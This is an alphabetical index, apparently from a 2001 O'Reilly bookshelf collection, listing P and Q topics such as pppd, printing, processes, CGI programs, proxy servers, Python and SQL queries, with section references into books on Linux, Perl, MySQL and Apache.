configuring ISDN hardware: 15.3.1. Configuring Your ISDN Hardware (Running Linux)
synchronous PPP: 15.3.2. Setting Up Synchronous PPP (Running Linux)
troubleshooting: 15.3.3. And If It Does Not Work? (Running Linux)
troubleshooting configuration: 15.2.1.3.4. Troubleshooting PPP Configuration (Running Linux)
pppd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
15.2.1.1. Requirements (Running Linux)
15.2.1.3.2. Starting up pppd (Running Linux)
pr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Pragma: no-cache header: 3.4.3. Restricting Image Hijacking (CGI Programming with Perl)
pragmas
coding style guide, covering in: 16.2. Coding Guidelines (CGI Programming with Perl)
depending on variable scope, Embperl module: 6.4.2.2. Variable scope (CGI Programming with Perl)
praliases command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
<pre> HTML tag: 16.1.4.6. More HTML features (Running Linux)
PRECISION statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
A.7.2. Statement Handle Attributes (Programming the Perl DBI)
preferences for web document use, storing as cookies: 11.3. Client-Side Cookies (CGI Programming with Perl)
prefix keys, rebinding: 9.2.8. Tailoring Emacs (Running Linux)
prefixes, removing from words: 12.3. Inverted Index Search (CGI Programming with Perl)
preformatted text: 16.1.4.6. More HTML features (Running Linux)
pregcomp( ): 14.6.6. Regular Expression Functions (Apache: The Definitive Guide)
PReP (PowerPC Reference Platform): D.1.1. Other PowerPC Platforms (Running Linux)
prepare( ): 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
21.2. DBI.pm API (MySQL & mSQL)
A.6.1. Database Handle Methods (Programming the Perl DBI)
execute( ) and: 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
passing SQL query to: 10.4.1.3. Database querying (CGI Programming with Perl)
tracing DBI execution: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
vs. do( ): (Programming the Perl DBI) 5.5. do( ) Versus prepare( )
prepare_cached( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
prepareCall( ) method: 22. JDBC Reference (MySQL & mSQL)
PreparedStatement interface: 22. JDBC Reference (MySQL & mSQL)
prepareStatement( ) method: 22. JDBC Reference (MySQL & mSQL)
prerequisites: 13.2. Makefiles (Running Linux)
prerun fixups to modules: 15.3.16. Prerun Fixups (Apache: The Definitive Guide)
preserve command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
prev( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
previous( ) method: 14.2. Simple Database Access (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
previous command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
primary keys: 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
3.3.3. Queries over Multiple Tables (Programming the Perl DBI)
primary mailer: 16.2.1.4. smail EDITME file (Running Linux)
16.2.1.5. The mkconfig file (Running Linux)
primary partitions: 2.2.2. Repartitioning Concepts (Running Linux)
print command: 17.1. MySQL Utilities (MySQL & mSQL)
print command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
print command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
print command (gdb): 14.1.1. Tracing a Program (Running Linux)
14.1.4. Changing and Examining Data (Running Linux)
print spool: 9.5. Printing (Running Linux)
9.5.1. What Happens to a File After It's Put on the Queue (Running Linux)
print statements
generating HTML output with: 5.4.1. Lots of print Statements (CGI Programming with Perl)
here documents: 1.2.1. Sample CGI (CGI Programming with Perl)
printcap file: 8.4. Managing Print Services (Running Linux)
8.4.5. Setting Up the Printcap File (Running Linux)
8.4.14. Printer System Troubleshooting (Running Linux)
9.5. Printing (Running Linux)
9.5.1. What Happens to a File After It's Put on the Queue (Running Linux)
12.1.3.2. Configuring Samba (Running Linux)
printComments( ) method: 14.4. A Guest Book Servlet (MySQL & mSQL)
printenv command: 6.2.2. Format (CGI Programming with Perl)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printenv command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
PRINTER environment variable: 9.5. Printing (Running Linux)
printer ports: 8.4. Managing Print Services (Running Linux)
PrintError attribute: 6.1.4. Common Attributes (Programming the Perl DBI)
A.5. Attributes Common to All Handles (Programming the Perl DBI)
connect( ) and: 4.4.1. Connection (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
error checking: 4.5.1.1. Manual error checking (Programming the Perl DBI)
executing SELECT statements: 5.1.2. Executing Select Statements (Programming the Perl DBI)
tracing DBI execution: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
printexitvalue variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
printf( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
printf command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
printf command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
printf command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
printing: 2.1.11. Printing (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
9.5. Printing (Running Linux)
banner, output as: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
BSD elements: 8.4.10. BSD Print System Elements: Files, Directories, and Utilities (Running Linux)
doublesided: 8.4.4. Checking Print Utilities (Running Linux)
Embperl blocks: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
environment variable values: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
fax devices: 8.4.4. Checking Print Utilities (Running Linux)
files to standard output: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
filters (see filters, printing)
from Ghostview: 11.4.8. Ghostview: Displaying PostScript (Running Linux)
GNOME architecture: B.5.4. The GNOME Printing Architecture (Running Linux)
hardware for: 1.9.6.4. Printers (Running Linux)
8.4.1. Checking Printer Hardware (Running Linux)
HTTP headers in error handling: 5.5.3. Error Subroutines (CGI Programming with Perl)
image files, determining increments: 3.4.1. Check the Client Browser (CGI Programming with Perl)
lpd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
managing: 8.4. Managing Print Services (Running Linux)
multiple items in lists: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
nenscript utility: 9.5.2. nenscript (Running Linux)
Perl data structures with Data::Dumper: 15.3.4. Dumping Variables (CGI Programming with Perl)
printer names: 8.4.5.2. Printer names (Running Linux)
queue, status of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
related URLs: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
remotely: 8.4.5.3. The rest of the printcap variables (Running Linux)
service maintenance: 8.4.13. Printer Optimization (Running Linux)
Set-Cookie header: 11.3.1. Setting Cookies (CGI Programming with Perl)
software for: 8.4.3. Choosing Printer Software (Running Linux)
status codes with Status header: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
to STDOUT: 1.2. Introduction to CGI (CGI Programming with Perl)
3.1.1.2. STDOUT (CGI Programming with Perl)
strings: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
tag: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
test patterns: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
TeX documents: 9.3.1.2. Formatting and printing (Running Linux)
troubleshooting system: 8.4.14. Printer System Troubleshooting (Running Linux)
tuning: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
variable values: 15.3.4. Dumping Variables (CGI Programming with Perl)
printing commands: 1.6.4. Printing (Linux in a Nutshell)
printing services (Windows): 12.1.3.2. Configuring Samba (Running Linux)
println( ) method: 22. JDBC Reference (MySQL & mSQL)
PRIO_MAX, PRIO_MIX variables: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
priority, message: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
priority, process: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
private_* attributes: A.5. Attributes Common to All Handles (Programming the Perl DBI)
/private/usr/lib/smail/config file: 16.2.1.7. smail runtime configuration files (Running Linux)
Pro Audio Spectrum SCSI interfaces: 3.1.1. Booting Linux (Running Linux)
/proc filesystem: 3.2.3. Editing /etc/fstab (Running Linux)
5.6. The /proc filesystem (Running Linux)
6.1.1. Filesystem Types (Running Linux)
/proc/dma file: 5.6. The /proc filesystem (Running Linux)
/proc/interrupts file: 5.6. The /proc filesystem (Running Linux)
/proc/ioports file: 5.6. The /proc filesystem (Running Linux)
/proc/meminfo file: 5.6. The /proc filesystem (Running Linux)
PROCEDURE name: 15.1. MySQL SQL (MySQL & mSQL)
procedures, gawk language and: 13.3.2. Procedures (Linux in a Nutshell)
process identifier (PID): 8.2.4. fork and exec (CGI Programming with Perl)
process identifiers (see PIDs)
processes: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.18. Processes (Running Linux)
API functions for: 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
child processes
checking PID of: 15.2.3. Is It Open? (CGI Programming with Perl)
creating with pipe connected: 8.2.4. fork and exec (CGI Programming with Perl)
coprocesses (bash): 7.3.7. Coprocesses (Linux in a Nutshell)
creating separate to handle CGI scripts: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
exec command: 7.7. Built-in Commands (Linux in a Nutshell)
halting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
identifiers (PIDs): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
identifying by file or filesystem: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
killing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
limiting for CGI scripts: 4.3.8. RLimitNPROC (Apache: The Definitive Guide)
local, as clients: 14.1. Communicating with Other Servers (CGI Programming with Perl)
management commands for: 2.1.14. System Activity and Process Management (Linux in a Nutshell)
parent processes: 8.2.4. fork and exec (CGI Programming with Perl)
in pipes, checking status with kill function: 15.2.3. Is It Open? (CGI Programming with Perl)
priority: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
remote, as servers: 14.1. Communicating with Other Servers (CGI Programming with Perl)
viewing most CPU-intensive: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Processes command: 4.4.1.4. Server status (MySQL & mSQL)
processes, killing: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
2.4.3. Several Copies of Apache (Apache: The Definitive Guide)
processing images, Image::Magick module: 13.5.4. Image Processing (CGI Programming with Perl)
processlist command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
processor family: 7.4.2. Building the Kernel (Running Linux)
processor instruction-level debugging: 14.1.6.2. Instruction-level debugging (Running Linux)
processors (see CPU)
architectures of: 1.4.2. A Bag of Features (Running Linux)
procmail: 9.7. procmail (CGI Programming with Perl)
forwarding email messages to another user: 9.7.2. Forwarding to Another User (CGI Programming with Perl)
.procmailrc file: 9.7. procmail (CGI Programming with Perl)
creating, example: 9.7.1. Autoreply from nobody (CGI Programming with Perl)
Prodigy, obtaining Linux from: 2.1.3. Getting Linux from Other Online Sources (Running Linux)
profile data, object file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
profiling tools: 14.2.2. Profiling and Performance Tools (Running Linux)
program logic, bracket pairs in Embperl: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
program maintenance commands: 1.6.6. Program Maintenance (Linux in a Nutshell)
program sharing between Windows and Linux: 12.2. Sharing Programs (Running Linux)
programming: 1.5.4. Programming Languages and Utilities (Running Linux)
within Emacs: 9.2.7. Running Commands and Programming Within Emacs (Running Linux)
languages: 13. Programming Languages (Running Linux)
tools for: 14. Tools for Programmers (Running Linux)
programming commands: 1.6.5. Programming (Linux in a Nutshell)
programming in the large (see strategic programming)
programming interfaces: 4.5.2.4. Programming interfaces (MySQL & mSQL)
programming languages
Ada: 13.7. Other Languages (Running Linux)
ASP, support for: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
C, C++: 1.5.4. Programming Languages and Utilities (Running Linux)
13.1. Programming with gcc (Running Linux)
13.1.8. Using C++ (Running Linux)
compiler: 13.1. Programming with gcc (Running Linux)
code file extensions: 2.6.2. Internationalization (CGI Programming with Perl)
content negotiation and: 2.6. Content Negotiation (CGI Programming with Perl)
databases, writing in: 1.1. From Mainframes to Workstations (Programming the Perl DBI)
exchanging data between: 7.3.1. WDDX (CGI Programming with Perl)
FORTRAN: 13.7. Other Languages (Running Linux)
interpreted languages, delays caused by: 17. Efficiency and Optimization (CGI Programming with Perl)
Java: 1.5.4. Programming Languages and Utilities (Running Linux)
13. Programming Languages (Running Linux)
13.6. Java (Running Linux)
AWT (Abstract Window Toolkit): 13.6.3. A Working Example of Java (Running Linux)
obtaining for Linux (JDK): 13.6.2. Getting Java for Linux (Running Linux)
LISP: 13.7. Other Languages (Running Linux)
negotiation for static documents: 2.6.2. Internationalization (CGI Programming with Perl)
Pascal: 13.7. Other Languages (Running Linux)
Perl: 1.2. Perl (Programming the Perl DBI)
13.4. Using Perl (Running Linux)
Python: 13.7. Other Languages (Running Linux)
Scheme: 13.7. Other Languages (Running Linux)
Tcl: 13.5. Programming in Tcl and Tk (Running Linux)
14.2.6. Interface Building Tools (Running Linux)
Tk: 13.5. Programming in Tcl and Tk (Running Linux)
14.2.6. Interface Building Tools (Running Linux)
programs
daemons: 4.17. Programs That Serve You (Running Linux)
debugging (see debugging)
14.1. Debugging with gdb (Running Linux)
getting information on: 14.1.5. Getting Information (Running Linux)
performance rating tools: 14.2.2. Profiling and Performance Tools (Running Linux)
shell scripts: 6.1.3. Programming (Linux in a Nutshell)
programs, CGI
503 Service Unavailable status responses: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
address book: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
application (example): 1.2.1. Sample CGI (CGI Programming with Perl)
architectural guidelines (see architectural guidelines, CGI programs)
bookmarklets, using with: 7.4.2. Bookmarklets and CGI (CGI Programming with Perl)
buffering, server handling of: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
configuring: 1.4.1. Configuring CGI Scripts (CGI Programming with Perl)
1.4.1.2. Configuring by extension (CGI Programming with Perl)
Content-type field, use in: 2.4.2.3. Content-Type (CGI Programming with Perl)
cookies, testing for: 11.3.2. Testing for Cookies (CGI Programming with Perl)
cookie_test.cgi script: 11.3.2. Testing for Cookies (CGI Programming with Perl)
current_time.cgi script: 6.3.1. Syntax (CGI Programming with Perl)
data, converting to JavaScript: 7.3.1. WDDX (CGI Programming with Perl)
debugging (see debugging)
15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
common errors: 15.1. Common Errors (CGI Programming with Perl)
debugging tools: 15.3. Debugging Tools (CGI Programming with Perl)
Perl coding techniques for avoiding bugs: 15.2. Perl Coding Techniques (CGI Programming with Perl)
development (see development, CGI programs)
coding guidelines: 16.2. Coding Guidelines (CGI Programming with Perl)
disabling file uploads and limiting POST request size: 5.1.1. Denial of Service Attacks (CGI Programming with Perl)
dynamic generation of web server response: 1.2. Introduction to CGI (CGI Programming with Perl)
efficiency and optimization: 17. Efficiency and Optimization (CGI Programming with Perl)
FastCGI, using: 17.2. FastCGI (CGI Programming with Perl)
mod_perl, using: 17.3. mod_perl (CGI Programming with Perl)
Perl techniques for: 17.1. Basic Perl Tips, Top Ten (CGI Programming with Perl)
email, sending with: 9. Sending Email (CGI Programming with Perl)
email addresses: 9.2. Email Addresses (CGI Programming with Perl)
procmail: 9.7. procmail (CGI Programming with Perl)
security: 9.1. Security (CGI Programming with Perl)
structure of Internet email: 9.3. Structure of Internet Email (CGI Programming with Perl)
embedding output from: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
embpcgi.pl script: 6.4.1.3. embpcgi.pl (CGI Programming with Perl)
encoding/decoding tab-delimited data and end-of-line characters: 10.1.4. Delimiters (CGI Programming with Perl)
env_info.cgi script: 3.2.2. Examining Environment Variables (CGI Programming with Perl)
output: 3.2.2. Examining Environment Variables (CGI Programming with Perl)
environment variables: 3.2. Environment Variables (CGI Programming with Perl)
examples: 1.2.1. Sample CGI (CGI Programming with Perl)
listing for specific web server: 3.2.2. Examining Environment Variables (CGI Programming with Perl)
examples: 3.4. Examples (CGI Programming with Perl)
image hijacking, restricting: 3.4.3. Restricting Image Hijacking (CGI Programming with Perl)
image, sending after checking browser media formats: 3.4.1. Check the Client Browser (CGI Programming with Perl)
user authentication and identification: 3.4.2. User Authentication and Identification (CGI Programming with Perl)
feedback_sendmail.cgi script: 9.4.1. Command-Line Options (CGI Programming with Perl)
file handles: 3.1.1. File Handles (CGI Programming with Perl)
gateway to XML middleware: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
graphic images, creating: 13. Creating Graphics on the Fly (CGI Programming with Perl)
image data, outputting: 13.2. Outputting Image Data (CGI Programming with Perl)
mixed graphs (commute_mixed.cgi): 13.4.2. GD::Graph (CGI Programming with Perl)
pie charts (commute_pie.cgi): 13.4.2. GD::Graph (CGI Programming with Perl)
grep_search1.cgi script: 12.1. Searching One by One (CGI Programming with Perl)
how they work: 3. The Common Gateway Interface (CGI Programming with Perl)
HTML, alternatives for outputting: 5.4. Alternatives for Generating Output (CGI Programming with Perl)
HTTP header lines, returning: 1.2. Introduction to CGI (CGI Programming with Perl)
indexed_search.cgi script: 12.3.1. Search Application (CGI Programming with Perl)
music_browser.cgi script: 7.3.2. Example (CGI Programming with Perl)
output: 3.3. CGI Output (CGI Programming with Perl)
complete (non-parsed) headers: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
partial headers: 3.3.1. Partial Headers (CGI Programming with Perl)
printing to STDOUT: 3.1.1.2. STDOUT (CGI Programming with Perl)
parameters
accessing: 5.2.2. Accessing Parameters (CGI Programming with Perl)
modifying within: 5.2.2.1. Modifying parameters (CGI Programming with Perl)
parse_form_data (example): 4.3. Decoding Form Input (CGI Programming with Perl)
parsing HTML documents and inserting identifiers: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
permissions to run, forbidden (403) status code and: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
requests for static HTML page, handling
unique identifiers: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
security: 8. Security (CGI Programming with Perl)
encryption: 8.3. Encryption (CGI Programming with Perl)
trusting browsers: 8.2.5. Trusting the Browser (CGI Programming with Perl)
user input, handling: 8.2. Handling User Input (CGI Programming with Perl)
separate process, requirement for execution: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
shoppe.cgi: 11.2. Hidden Fields (CGI Programming with Perl)
checkout page: 11.2. Hidden Fields (CGI Programming with Perl)
shopping cart page: 11.2. Hidden Fields (CGI Programming with Perl)
welcome page: 11.2. Hidden Fields (CGI Programming with Perl)
SSL/TLS connections and: 2.2. HTTP (CGI Programming with Perl)
status codes: 2.4.1. The Status Line (CGI Programming with Perl)
3.3.1.3. Specifying status codes (CGI Programming with Perl)
strict command, advantages of use: 1.2.1. Sample CGI (CGI Programming with Perl)
taint mode, reasons to use with: 8.4.4. Why Use Taint Mode? (CGI Programming with Perl)
text files (see text files)
URLs for: 1.2.2. Invoking CGI Scripts (CGI Programming with Perl)
2.1.1. Elements of a URL (CGI Programming with Perl)
.project file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
project trees, CVS: 14.2.8. Revision Control Tools--CVS (Running Linux)
projects, home pages for: A.5. Project Home Pages (CGI Programming with Perl)
prompt
customization: 7.6.4. Variables in Prompt (Linux in a Nutshell)
formatting (tcsh): 8.4.4. Formatting for the Prompt Variable (Linux in a Nutshell)
login: 3.3.1. Problems with Booting the Installation Media (Running Linux)
4.1. Logging In (Running Linux)
root user: 5.1. Running the System (Running Linux)
shell: 4.1. Logging In (Running Linux)
prompt option (LILO): G.1. Global Options (Running Linux)
prompt2, prompt3 variables (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
prompt (shell): 3.3.4.4. Problems using the system (Running Linux)
promptchars variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
prompt_ramdisk= option: G.3. Kernel Options (Running Linux)
properties files, JDBC: 14.1.2. Maintaining Portability Using Properties Files (MySQL & mSQL)
proportional fonts: 11.4.5. Choosing Fonts (Running Linux)
proprietary file formats: 12.1.5. File Translation Utilities (Running Linux)
protected realm, indicating with 401 status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
/protected (URL paths): 2.3.2.4. Authorization (CGI Programming with Perl)
protecting application data: D.2. Protecting Application Data (Apache: The Definitive Guide)
protocol and version string (status line): Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
Protocol version: 4.4.1.4. Server status (MySQL & mSQL)
protocols: 1.3. How Does Apache Use TCP/IP? (Apache: The Definitive Guide)
cookie handling by browsers: 11.3. Client-Side Cookies (CGI Programming with Perl)
header (web server response), listing in: 1.2. Introduction to CGI (CGI Programming with Perl)
HTTP (see HTTP)
IP (Internet Protocol): 6.2.3. Environment Variables (CGI Programming with Perl)
SMTP: 9.6. Perl Mailers (CGI Programming with Perl)
SSL (Secure Socket Layer)POST requests: 2.2. HTTP (CGI Programming with Perl)
in URLs: 2.1.1. Elements of a URL (CGI Programming with Perl)
protocols, TCP/IP: 2.3. Overview of TCP/IP (Linux in a Nutshell)
2.3.2.1. Gateway protocols (Linux in a Nutshell)
proxies: 2.5. Proxies (CGI Programming with Perl)
image caching and: 3.4.3. Restricting Image Hijacking (CGI Programming with Perl)
multiple users connecting via: 11. Maintaining State (CGI Programming with Perl)
proxy servers: 1. Getting Started (Apache: The Definitive Guide)
9. Proxy Server (Apache: The Definitive Guide)
8.2. Database Proxying (Programming the Perl DBI)
compression: 8.2.2.2. Compression (Programming the Perl DBI)
configuration files: 8.2.2. Advanced Topics (Programming the Perl DBI)
configuring: 8.2.2.3. Ciphers (Programming the Perl DBI)
configuring cache: 9.3. Setup (Apache: The Definitive Guide)
connecting to: 8.2.1.2. Connecting to the proxy server (Programming the Perl DBI)
data encryption: 8.2.2.3. Ciphers (Programming the Perl DBI)
setting up: 8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
ProxyDomain directive: 9.1.4. ProxyDomain (Apache: The Definitive Guide)
ProxyPass directive: 9.1.3. ProxyPass (Apache: The Definitive Guide)
ProxyPassReverse directive: 9.1.6. ProxyPassReverse (Apache: The Definitive Guide)
ProxyRemote directive: 9.1.2. ProxyRemote (Apache: The Definitive Guide)
ProxyRequests directive: 9.1.1. ProxyRequests (Apache: The Definitive Guide)
ps command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.18. Processes (Running Linux)
8.4.11. Exercising the Printer Daemon (Running Linux)
ps utility: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
pserver (CVS): 14.3.8.3. pserver (Linux in a Nutshell)
14.4.1. Repository Locators (Linux in a Nutshell)
accessing repositories: 14.3.3.11. The passwd file (Linux in a Nutshell)
14.3.6. Using an Interim Shared Sandbox (Linux in a Nutshell)
configuring: 14.3.1.1. Setting up the password server (Linux in a Nutshell)
security issues: 14.3.2. Security Issues (Linux in a Nutshell)
pseudonyms for files (see symbolic links)
pstrcat( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
pstrdup( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
pstrndup( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
psupdate command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ptkdb, PerlTk debugger: 15.3.5.2. ptkdb (CGI Programming with Perl)
ptype command (gdb): 14.1.4. Changing and Examining Data (Running Linux)
public key encryption: 13.3. Binary Signatures, Virtual Cash (Apache: The Definitive Guide)
legal issues: 13.5.2. National Security (Apache: The Definitive Guide)
push_array( ): 14.6.2. Array Functions (Apache: The Definitive Guide)
pushd command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
pushd command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
pushdsilent variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
pushdtohome variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
put command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
PUT method: 2.3.1.1. PUT and DELETE (CGI Programming with Perl)
PUT method (HTTP): 4.1.2. What Is an HTTP Method? (Apache: The Definitive Guide)
putenv( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
PVCS, importing files from: 14.3.5.4. Importing from PVCS (Linux in a Nutshell)
pw variable (printcap): 8.4.5.3. The rest of the printcap variables (Running Linux)
pwck command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
pwconv command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.7.2. Shadow Passwords (Running Linux)
pwd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
pwd command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
pwuconv command: 5.7.2. Shadow Passwords (Running Linux)
Python: 5.6.2.4. Programming interfaces (MySQL & mSQL)
basic connectivity: 11.1. Basic Connectivity (MySQL & mSQL)
CGI and: 9.3.4. Accepting Input in Perl (MySQL & mSQL)
definition: 11. Python (MySQL & mSQL)
dynamic connectivity: 11.2. Dynamic Connectivity (MySQL & mSQL)
mSQL module: 20.2. Module: mSQL (MySQL & mSQL)
MySQL module: 20.1. Module: MySQL (MySQL & mSQL)
Python language: 13.7. Other Languages (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Q

\' command: 17.1. MySQL Utilities (MySQL & mSQL)
q command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
$q prefix CGI.pm module: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
QNX4 filesystem: 6.1.1. Filesystem Types (Running Linux)
qq// operator (Perl): 5.4.2. Here Documents (CGI Programming with Perl)
Qt package: 14.2.6. Interface Building Tools (Running Linux)
qualify file: 16.2.1.7. smail runtime configuration files (Running Linux)
quality factors (media types): 2.6.1. Media Type (CGI Programming with Perl)
quality scores (qs values): 6.4. Type Maps (Apache: The Definitive Guide)
QUARTER( ) function: 15.1. MySQL SQL (MySQL & mSQL)
queries: 13.1. The Two APIs (MySQL & mSQL)
compared to updates: 14.2. Simple Database Access (MySQL & mSQL)
MySQL: 13.1. The Two APIs (MySQL & mSQL)
Python: 11.1.1. Queries (MySQL & mSQL)
server status: 5.5.1.4. Server status (MySQL & mSQL)
SQL: 6.1.2. The Design of SQL (MySQL & mSQL)
queries (index): 5.2.2.3. Index queries (CGI Programming with Perl)
Query( ) method: 13.2.1.3. Making Calls to the database (MySQL & mSQL)
13.2.3.1. Navigating results (MySQL & mSQL)
Query command: 4.4.1.4. Server status (MySQL & mSQL)
query execution plan: 5.3.1. Bind Values Versus Interpolated Statements (Programming the Perl DBI)
query function: 21.3. Msql.pm API (MySQL & mSQL)
21.4. Mysql.pm API (MySQL & mSQL)
query language (see SQL)
query languages, data functions: 2.2. Query Languages and Data Functions (Programming the Perl DBI)
query result screens (various): 10.4.2.2. Address book CGI script (CGI Programming with Perl)
query strings: 2.1.1. Elements of a URL (CGI Programming with Perl)
4.1. Sending Data to the Server (CGI Programming with Perl)
$ENV{QUERY_STRING}
keywords, retrieving (POST form data to URL): 5.2.2.3. Index queries (CGI Programming with Perl)
query_string method vs.: 5.2.1.4. query_string (CGI Programming with Perl)
passing unique identifiers via: 11. Maintaining State (CGI Programming with Perl)
passwords, including for GET requests: 4.2.3.2. Password fields (CGI Programming with Perl)
POST requests: 5.2.2.2. POST and the query string (CGI Programming with Perl)
QUERY_STRING_UNESCAPED variable: 6.2.3. Environment Variables (CGI Programming with Perl)
in request lines: 2.3. Browser Requests (CGI Programming with Perl)
session identifier, appending to each link: 11.2. Hidden Fields (CGI Programming with Perl)
state, maintaining with: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
URLs containing: 4.3. Decoding Form Input (CGI Programming with Perl)
querying
databases: 6.7. Queries (MySQL & mSQL)
13.2.1.3. Making Calls to the database (MySQL & mSQL)
search engines: 9.4.1. State Retention (MySQL & mSQL)
querying databases with DBI: 10.4.1.3. Database querying (CGI Programming with Perl)
QUERY_STRING environment variable: 9.3. The CGI Specification (MySQL & mSQL)
9.3.2. Command Line (MySQL & mSQL)
? (question mark): 4.8. Filename Expansion (Running Linux)
bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
-? flag (httpd/apache): 2.2. Apache's Flags (Apache: The Definitive Guide)
question mark (see ? (question mark))
question mark (?): 4.8. Filename Expansion (Running Linux)
question mark (?), placeholder in JDBC: 22. JDBC Reference (MySQL & mSQL)
Questions, MySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
queue, job (see jobs)
queue, print: 8.4.12. Controlling Printer Services with lpc (Running Linux)
9.5. Printing (Running Linux)
9.5. Printing (Running Linux)
9.5.1. What Happens to a File After It's Put on the Queue (Running Linux)
queueing email messages: 9.4.2. Mail Queue (CGI Programming with Perl)
QUIET function: 21.3. Msql.pm API (MySQL & mSQL)
Quit command: 4.4.1.4. Server status (MySQL & mSQL)
quit command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
